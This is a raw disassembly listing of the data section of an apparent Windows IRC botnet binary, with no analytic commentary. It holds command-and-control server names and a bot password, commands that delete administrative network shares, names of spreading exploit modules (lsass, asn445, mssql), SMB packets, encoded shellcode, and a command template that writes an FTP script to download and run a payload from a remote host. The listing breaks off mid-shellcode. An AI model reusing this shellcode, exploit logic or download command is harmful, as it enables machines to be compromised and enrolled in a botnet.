0FFFFFFFFh, 434CA8h, 0FFFFFFFFh dd 434CB0h, 0FFFFFFFFh, 434CB8h, 0FFFFFFFFh, 434CC0h, 0FFFFFFFFh dd 434CC8h, 2 dup(0) dword_43A3E8 dd 19930520h, 0Bh, 43A408h, 5 dup(0) ; DATA XREF: SEH_421170o dd 0FFFFFFFFh, 434CF0h, 0FFFFFFFFh, 434CFBh, 0FFFFFFFFh dd 434D11h, 0FFFFFFFFh, 434D1Ch, 0FFFFFFFFh, 434D27h, 0FFFFFFFFh dd 434D32h, 0FFFFFFFFh, 434D3Dh, 0FFFFFFFFh, 434D48h, 0FFFFFFFFh dd 434D53h, 0FFFFFFFFh, 434D5Eh, 0FFFFFFFFh, 434D06h, 4 dup(0) dword_43A470 dd 19930520h, 1, 43A490h, 5 dup(0) ; DATA XREF: SEH_4239C0o dd 0FFFFFFFFh, 434DA0h, 2 dup(0) dword_43A4A0 dd 19930520h, 5, 43A4C0h, 5 dup(0) ; DATA XREF: SEH_426110o dd 0FFFFFFFFh, 434DC0h, 0FFFFFFFFh, 434DC8h, 0FFFFFFFFh dd 434DD0h, 0FFFFFFFFh, 434DD8h, 0FFFFFFFFh, 434DE0h, 2 dup(0) dword_43A4F0 dd 19930520h, 0Ah, 43A510h, 5 dup(0) ; DATA XREF: _294ADE7B:loc_434E56o dd 0FFFFFFFFh, 434E00h, 0FFFFFFFFh, 434E0Bh, 0FFFFFFFFh dd 434E13h, 0FFFFFFFFh, 434E1Bh, 0FFFFFFFFh, 434E23h, 0FFFFFFFFh dd 434E2Bh, 0FFFFFFFFh, 434E36h, 0FFFFFFFFh, 434E3Eh, 0FFFFFFFFh dd 434E46h, 0FFFFFFFFh, 434E4Eh, 4 dup(0) dword_43A570 dd 19930520h, 1, 43A590h, 5 dup(0) ; DATA XREF: SEH_4267F0o dd 0FFFFFFFFh, 434E80h, 2 dup(0) dword_43A5A0 dd 19930520h, 1, 43A5C0h, 5 dup(0) ; DATA XREF: SEH_4268B0o dd 0FFFFFFFFh, 434EA0h, 2 dup(0) dword_43A5D0 dd 19930520h, 5, 43A5F0h, 5 dup(0) ; DATA XREF: SEH_426BB0o dd 0FFFFFFFFh, 434EC0h, 0 dd offset loc_434EC8 dd 1, 434ED3h, 2, 434EDEh, 3, 434EE9h, 2 dup(0) dword_43A620 dd 19930520h, 5, 43A640h, 5 dup(0) ; DATA XREF: SEH_426C50o dd 0FFFFFFFFh, 434F10h, 0 dd offset loc_434F18 dd 1, 434F23h, 2, 434F2Eh, 3, 434F39h, 2 dup(0) dword_43A670 dd 19930520h, 1, 43A690h, 5 dup(0) ; DATA XREF: SEH_426D40o dd 0FFFFFFFFh, 434F60h, 2 dup(0) dword_43A6A0 dd 19930520h, 1, 43A6C0h, 5 dup(0) ; DATA XREF: SEH_426E00o dd 0FFFFFFFFh, 434F80h, 2 dup(0) dword_43A6D0 dd 19930520h, 1, 43A6F0h, 5 dup(0) ; DATA XREF: _294ADE7B:loc_434FA8o dd 0FFFFFFFFh, 434FA0h, 2 dup(0) dword_43A700 dd 19930520h, 1, 43A720h, 5 dup(0) ; DATA XREF: SEH_427310o dd 0FFFFFFFFh, 434FC0h, 236h dup(0) _8C6BDE73 ends ; Section 3. (virtual address 0003B000) ; Virtual size : 00078000 ( 491520.) ; Section size in file : 00078000 ( 491520.) ; Offset to raw data for section: 0003B000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write _5AD6BD6B segment para public 'BSS' use32 assume cs:_5AD6BD6B ;org 43B000h assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing dd 41h dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd offset aRrr+73h dd 105h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) dd 7Ch dword_43B5F0 dd 7325h, 25207325h, 0A0D73h, 0 ; DATA XREF: sub_426E00+1ADo ; sub_427CB0+53o ... dword_43B600 dd 20h, 6F2D20h, 2074656Eh, 72616873h, 64612065h, 246E696Dh ; DATA XREF: sub_41ACE0+C6o ; sub_41ACE0+15Fo ... dd 65642F20h, 6574656Ch, 792F20h, 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dd 255C7325h, 73h, 74666F53h, 65726177h, 63694D5Ch, 6F736F72h dd 4F5C7466h, 454Ch, 0 dd 4Eh, 63657845h, 64657475h, 7325203Ah, 2Eh, 6F736572h dd 2E65766Ch, 6F727265h, 73252072h, 2Eh, 0 dd 2D207325h, 7325203Eh, 0 dd 72207325h, 6C6F7365h, 20646576h, 7325h, 0 aOpen db 'open',0 ; DATA XREF: sub_41A700+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_41BE00+6CEo align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) dd 5B207325h, 5D7325h, 0 dd 3F3F3Fh, 33303032h, 0 dd 5058h, 30303032h, 0 dd 454Dh, 3839h, 544Eh, 3539h, 6961622Dh, 0 dd 74656E2Dh, 73637673h, 0 dd 6470752Dh, 657461h, 0 dd 6265642Dh, 6775h, 6425h dword_43B7F8 dd 2Eh, 39393939h, 3939h, 616D7953h, 6365746Eh, 746E4120h ; DATA XREF: _294ADE7B:0041A3C7o ; _294ADE7B:loc_41A3E7o ... dd 72697669h, 70207375h, 65666F72h, 6F697373h, 6C616Eh dd 2 dup(0) aL33t db 'l33t',0 align 4 aHolla_if_ya_he db 'holla.if.ya.hear.me',0 dd 0 aD6f8ead25eeee2 db 'D6F8EAD25EEEE24B2F9A8AC408A6D01B',0 align 10h dd 0 aBillgates db 'billgates',0 align 10h aFxc db 'FXC-',0 align 4 aFlushdns1_1_0 db 'FlushDNS1.1.0',0 align 4 aXplrer_exe db 'xplrer.exe',0 align 8 aThisiskey db 'thisiskey',0 align 4 aJ4ck db '##j4ck##',0 align 10h a6667 db '6667',0 align 4 aDanger_eternal db 'danger.eternal-irc.net',0 align 10h dd 0 a4212 db '4212',0 align 4 aNetstat_zyns_c db 'netstat.zyns.com',0 align 10h off_43B900 dd offset off_437100 ; DATA XREF: _8C6BDE73:00437F1Co align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_43B920 dd offset off_437100 ; DATA XREF: _8C6BDE73:00437F3Co align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_43B948 dd offset off_437100 ; DATA XREF: _8C6BDE73:00437F5Co align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 dd 2 dup(0) aTrue db 'true',0 align 4 aF db '%f',0 align 10h aFalse db 'false',0 align 4 aSSWasS db '%s = "%s" [was "%s"]',0 align 10h dd 0 dd 3D207325h, 73252220h, 22h, 5D64255Bh, 73252220h, 203D2022h dd 22732522h, 25222820h, 292273h, 0 dd 61766328h, 2972h, 7078655Ch, 65726F6Ch, 78652E72h, 65h dd 61622D20h, 2069h, 63257325h, 7325h, 636F7250h, 33737365h dd 78654E32h, 74h, 636F7250h, 33737365h, 72694632h, 7473h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 align 8 aRegisterservic db 'RegisterServiceProcess',0 align 10h dd 0 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 aComspecCSS db '%%comspec%% /c %s %s',0 align 10h aSSSSSSSSSS db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 10h aSS_0 db '"%s" %s',0 dd 0 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_41E8D0+Ao align 10h aServDelS_ db 'serv(del) "%s".',0 dd 0 aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 align 8 aRegDelS_ db 'reg(del) "%s".',0 align 4 dd 0 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 align 8 db ' :',0 align 4 unicode 0, <!>,0 aN db ' -n',0 aS_0 db ' -s',0 asc_43BB68: ; DATA XREF: sub_41ACE0+12Do ; sub_41ACE0+2ACo ... unicode 0, <:>,0 a@: ; DATA XREF: sub_41F3E0+114o ; sub_41F3E0+1CEo ... unicode 0, <@>,0 aSSS db '%s %s %s',0Dh,0Ah,0 align 10h aSSSS00S db '%s %s',0Dh,0Ah db '%s %s 0 0 :%s',0Dh,0Ah,0 align 4 dd 0 dword_43BB9C dd 252E6425h, 64252E64h, 64252Eh, 0 ; DATA XREF: sub_41D500+4C7o ; sub_421D50+5Do ... dd 25207325h, 73252073h, 0D732520h, 0Ah dword_43BBBC dd 0A0D7325h, 0 ; DATA XREF: sub_4249E0+12Do ; sub_4255E0+12Ao ... dd 25207325h, 253A2073h, 0A0D73h, 0 dd 4255505Bh, 5D43494Ch, 0 dd 4952505Bh, 45544156h, 5Dh, 202Eh, 3A6E616Ch, 20h, 69747075h dd 656Dh, 74736F68h, 0 dd 6469h, 3Ch, 3Eh, 3D3Dh, 3D21h, 322E3225h, 58h, 203A7325h dd 7325h, 203A7325h, 6425h, 253A7325h, 64h, 7473696Ch dd 6E696E65h, 67h, 61747365h, 73696C62h, 646568h, 0 dd 504354h, 2D464544h, 504354h, 0 dd 652Dh, 6C2Dh, 322E255Bh, 2E252D64h, 252D6432h, 25206434h dd 3A64322Eh, 64322E25h, 322E253Ah, 25205D64h, 73h, 0 dd 73257325h, 0 dd 73257325h, 7325h byte_43BCA8 db 1 ; DATA XREF: sub_418960r align 4 dword_43BCAC dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: _294ADE7B:0041FCBBo dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43BCF8 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: _294ADE7B:0041FD29o dword_43BD0C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: _294ADE7B:0041FD63o dword_43BD20 dd 3000005h, 10h, 18h, 1, 0Ah dup(0) ; DATA XREF: _294ADE7B:0041FCF9o dword_43BD58 dd 63257325h, 0 ; DATA XREF: sub_41A020+1E0o ; _294ADE7B:0041DF15o word_43BD60 dw 72h ; DATA XREF: _294ADE7B:0041A324o ; _294ADE7B:00425C4Dr align 4 dword_43BD64 dd 30h ; DATA XREF: _294ADE7B:0041A57Co ; sub_422F30+327o dword_43BD68 dd 3039h ; DATA XREF: _294ADE7B:loc_41A544o dword_43BD6C dd 383631h ; DATA XREF: _294ADE7B:0041A502o dword_43BD70 dd 323931h ; DATA XREF: _294ADE7B:loc_41A4CAo dword_43BD74 dd 3631h ; DATA XREF: _294ADE7B:0041A488o dword_43BD78 dd 323731h ; DATA XREF: _294ADE7B:loc_41A44Co dword_43BD7C dd 3031h ; DATA XREF: _294ADE7B:0041A40Ao dword_43BD80 dd 5C005Ch ; DATA XREF: _294ADE7B:0041A7E7r ; _294ADE7B:0041A957r word_43BD84 dw 0 ; DATA XREF: _294ADE7B:0041A7F1r ; _294ADE7B:0041A961r align 4 off_43BD88 dd offset dword_49005C ; DATA XREF: _294ADE7B:0041A7B6r ; _294ADE7B:0041A926r off_43BD8C dd offset loc_43004F+1 ; DATA XREF: _294ADE7B:0041A7BBr ; _294ADE7B:0041A92Br dword_43BD90 dd 24h ; DATA XREF: _294ADE7B:0041A7DFr ; _294ADE7B:0041A94Fr align 8 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41BE00+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41BE00+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41BE00+567o align 4 dd 0 asc_43BDCC db 0Dh,0Ah ; DATA XREF: sub_41BE00+48Fo db 0Dh,0Ah,0 align 4 aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41BE00+3F1o align 4 aWb db 'wb',0 ; DATA XREF: sub_41BE00+3C0o ; _294ADE7B:0041E257o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41BE00+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41BE00+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41BE00+327o align 10h aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41BE00+2A3o align 10h aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41BE00+25Ao align 10h aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41BE00+224o align 10h aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41BE00+1CEo dd 0 aSysLogoff db 'sys(logoff)',0 ; DATA XREF: sub_41C890+BEo dd 0 aSysSd db 'sys(sd)',0 ; DATA XREF: sub_41C890+6Fo align 10h aSysReboot db 'sys(reboot)',0 ; DATA XREF: sub_41C890+20o align 10h aKpidS db 'kpid: %s',0 ; DATA XREF: sub_41CC30+584o align 4 aKsS db 'ks: %s',0 ; DATA XREF: sub_41CC30+4AFo align 4 aD_S db '%d. / %s',0 ; DATA XREF: sub_41CC30+389o align 10h aKpS db 'kp: %s',0 ; DATA XREF: sub_41CC30+251o align 4 aD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41CC30+130o align 10h dd 0 a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+694o ; sub_41D500+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500:loc_41DB65o ; sub_41D500+677o align 4 aFtpD_D_D_DDByt db '$ftp -> %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41D500+62Bo dd 3 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41D500+53Fo align 4 a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+505o ; sub_41D500+51Ao align 10h asc_43BF80: ; DATA XREF: sub_41D500+2EFo ; sub_41D500+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+286o ; sub_41D500+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+254o ; sub_41D500+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+222o ; sub_41D500+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+1F3o ; sub_41D500+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41D500+17Eo align 10h aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: _294ADE7B:0041DF6Co align 10h dd 0 aBinres db 'BINRES',0 ; DATA XREF: _294ADE7B:0041E28Do align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41E560:loc_41E5B5o ; sub_41EB00+C4r ... align 8 asc_43BFF8: ; DATA XREF: sub_41E6C0+100o unicode 0, <\>,0 aImagepath db 'ImagePath',0 ; DATA XREF: sub_41E6C0+CBo ; sub_41EDB0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_41E6C0+73o ; sub_41EDB0+2BEo align 10h dd 0 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_41E9A0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_41EB00+72o align 10h dd 0 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_41EB00+64o align 4 dd 0 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_41EB00+52o align 4 aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_41EB00+20o ; sub_41EB00+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_41EDB0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_41EDB0+32Do align 8 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_41EDB0+2F3o align 4 dd 0 aThemes db 'Themes',0 ; DATA XREF: sub_41EDB0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_41EDB0+1EBo align 10h aWuauserv db 'wuauserv',0 ; DATA XREF: sub_41EDB0+1E0o align 4 aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_41EDB0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_41EDB0+1CAo align 10h aWebclient db 'WebClient',0 ; DATA XREF: sub_41EDB0+1BFo align 4 aW32time db 'W32Time',0 ; DATA XREF: sub_41EDB0+1B4o align 8 aUpnphost db 'upnphost',0 ; DATA XREF: sub_41EDB0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_41EDB0+19Eo align 10h aTrkwks db 'TrkWks',0 ; DATA XREF: sub_41EDB0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_41EDB0+188o align 8 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_41EDB0+17Do dd 0 aStisvc db 'stisvc',0 ; DATA XREF: sub_41EDB0+172o align 4 aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_41EDB0+167o align 8 aSpooler db 'Spooler',0 ; DATA XREF: sub_41EDB0+15Co dd 0 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_41EDB0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_41EDB0+146o align 10h aSeclogon db 'seclogon',0 ; DATA XREF: sub_41EDB0+13Bo align 4 aSchedule db 'Schedule',0 ; DATA XREF: sub_41EDB0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_41EDB0+125o align 10h aRpcss db 'RpcSs',0 ; DATA XREF: sub_41EDB0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_41EDB0+10Fo align 10h aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_41EDB0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_41EDB0+F9o dd 0 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_41EDB0+EEo align 10h aNla db 'Nla',0 ; DATA XREF: sub_41EDB0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_41EDB0+D8o align 4 aMessenger db 'Messenger',0 ; DATA XREF: sub_41EDB0+CDo align 4 aMdm db 'MDM',0 ; DATA XREF: sub_41EDB0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_41EDB0+BDo align 8 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_41EDB0+B5o align 10h aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_41EDB0+ADo align 10h aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_41EDB0+A5o dd 0 aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_41EDB0+9Do align 4 dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_41EDB0+95o dd 0 aEventlog db 'Eventlog',0 ; DATA XREF: sub_41EDB0+8Do align 10h aErsvc db 'ERSvc',0 ; DATA XREF: sub_41EDB0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_41EDB0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_41EDB0+75o align 10h aDhcp db 'Dhcp',0 ; DATA XREF: sub_41EDB0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_41EDB0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_41EDB0+5Do align 10h aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_41EDB0+55o ; sub_41EDB0:loc_41F03Bo align 4 asc_43C2EC: ; DATA XREF: sub_41F3E0:loc_41F49Fo ; sub_41F3E0+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_41F3E0+94o ; sub_41F3E0:loc_41F64Eo ... aHttp db 'http',0 ; DATA XREF: sub_41F3E0+84o ; sub_41F3E0+257o ... align 10h aSym db 'sym',0 ; DATA XREF: sub_420EC0+31o dd 0 dd 79730000h, 6Dh, 6 dup(0) dword_43C328 dd 0B97h ; DATA XREF: sub_421170+303r ; sub_421170+310o ... off_43C32C dd offset sub_401A96 ; DATA XREF: _294ADE7B:00422583r dword_43C330 dd 0 ; DATA XREF: sub_421170+34Ao ; sub_421D20+Dr ... dd 1, 0 aNet139 db 'net139',0 align 4 dd 656E0000h, 39333174h, 6 dup(0) dd 8Bh, 401FEBh, 0 dd 1, 0 aNet445 db 'net445',0 align 10h dd 656E0000h, 35343474h, 6 dup(0) dd 1BDh, 401FEBh, 0 dd 1, 0 aLsass db 'lsass',0 align 4 dd 736C0000h, 737361h, 6 dup(0) dd 1BDh, 401C8Ah, 0 dd 1, 0 aAsn445 db 'asn445',0 align 4 dd 73610000h, 3534346Eh, 6 dup(0) dd 1BDh, 401758h, 0 dd 1, 0 aAsn139 db 'asn139',0 align 4 dd 73610000h, 3933316Eh, 6 dup(0) dd 8Bh, 401758h, 0 dd 1, 0 dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 4018D4h, 0 dd 1, 0 aMssql db 'mssql',0 align 4 dd 736D0000h, 6C7173h, 6 dup(0) dd 599h, 401D43h, 0 dd 1, 2Bh dup(0) aAdvscanSSPortS db 'advscan(%s): %s port scan %s:%d [delay %d sec] [%d min] [%d threa' ; DATA XREF: sub_421170+8F8o db 'ds]',0 align 10h dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_421170+8B8o align 4 dd 0 aRandom db 'random',0 ; DATA XREF: sub_421170+8B1o align 4 aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_421170+765o align 10h aB db ' -b',0 ; DATA XREF: sub_421170+74Co aA db ' -a',0 ; DATA XREF: sub_421170+73Co ; sub_421170+7A8o ... aR db ' -r',0 ; DATA XREF: sub_421170:loc_42189Co ; sub_421170+7EAo aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_421170+645o align 10h dd 0 aTotalD db ' total: %d',0 ; DATA XREF: sub_421170+397o align 10h dd 0 aSD db ' %s: %d,',0 ; DATA XREF: sub_421170+35Fo align 10h aScanStats db 'scan: stats:',0 ; DATA XREF: sub_421170+336o align 10h aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_421170+275o dd 2 dup(0) aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_421170+1DAo dd 0 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_421170+197o align 4 dd 0 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_421170+140o align 4 dd 2 dup(0) aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_421170+B2o align 4 dd 0 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_421170+6Do align 10h aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: _294ADE7B:loc_422253o align 10h dd 0 aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: _294ADE7B:loc_422232o align 10h dd 0 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: _294ADE7B:00422215o align 4 aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: _294ADE7B:00422185o dd 2 dup(0) aSocketOpenFail db 'socket open failed',0 ; DATA XREF: _294ADE7B:0042214Fo align 4 dd 0 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: _294ADE7B:0042242Ao align 10h dd 0 aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: _294ADE7B:004223C6o dd 3 dup(0) aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: _294ADE7B:004228C7o align 10h dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: _294ADE7B:00422816o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: _294ADE7B:0042275Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_422F30+BDo align 4 dword_43C8D4 dd 10FF8h, 0 ; DATA XREF: sub_422F30+7Bo dword_43C8DC dd 10FF8h ; DATA XREF: sub_422F30+8Bo dword_43C8E0 dd 7FFDF020h, 0 ; DATA XREF: sub_422F30+17Fo dword_43C8E8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_423580+50o dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_43C970 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_423580+3Co dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_43C9A0 dd 0 ; DATA XREF: sub_423580+67r dword_43C9A4 dd 800000D4h ; DATA XREF: sub_423580+6Fr dd 0 dword_43C9AC dd 66575653h, 80EC81h, 0EDE8E689h, 0FF000000h, 12096836h ; DATA XREF: _294ADE7B:00423795o dd 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h, 6B680476h dd 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh, 4C0297FAh dd 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h, 0B9C78910h dd 410h, 315EA4F3h, 505050C0h, 0FF505053h, 468B0C56h, 0C4816608h dd 5E5F0080h, 60E0FF5Bh, 23E8h, 24448B00h, 7C588D0Ch, 53C4383h dd 284381h, 81000010h, 0F0002863h, 48BFFFFh, 14C48324h dd 0C3C03150h, 0FF64D231h, 22896432h, 90B8DB31h, 31429042h dd 8902B1C9h, 74AFF3DFh, 0F3EB4303h, 64107E89h, 6158028Fh dd 20BF60C3h, 8B7FFDF0h, 8468B1Fh, 7F8B0789h, 78C781F8h dd 89000001h, 741939F9h, 0EB098B04h, 39FA89F8h, 574045Ah dd 0EB04528Bh, 891189F6h, 43C6044Ah, 0C36101FDh, 0FDF00CA1h dd 1C408B7Fh, 8908588Bh, 8B008B1Eh, 46890840h, 8B60C304h dd 8B28246Ch, 548B3C45h, 0EA017805h, 8B184A8Bh, 0EB01205Ah dd 8B4938E3h, 0EE018B34h, 0C031FF31h, 0E038ACFCh, 0CFC10774h dd 0EBC7010Dh, 247C3BF4h, 8BE17524h, 0EB01245Ah, 4B0C8B66h dd 11C5A8Bh, 8B048BEBh, 4489E801h, 0C2611C24h, 0FEEB0008h dd 0 dword_43CB14 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh ; DATA XREF: _294ADE7B:0042372Eo dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh dd 25h dup(0) dword_43CC38 dd 23h ; DATA XREF: sub_422E80+1Do dword_43CC3C dd 60h ; DATA XREF: sub_422F30+38Do dword_43CC40 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_422F30+35Ao dword_43CC4C dd 0A1h ; DATA XREF: sub_422F30+2F4o dword_43CC50 dd 3 ; DATA XREF: sub_422F30+28Ao aCccc db 'CCCC',0 ; DATA XREF: sub_422F30+16Do align 4 dword_43CC5C dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_422F30+100o aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: _294ADE7B:00423770o ; sub_4255E0+CFo db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 10h dd 8 dup(0) dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 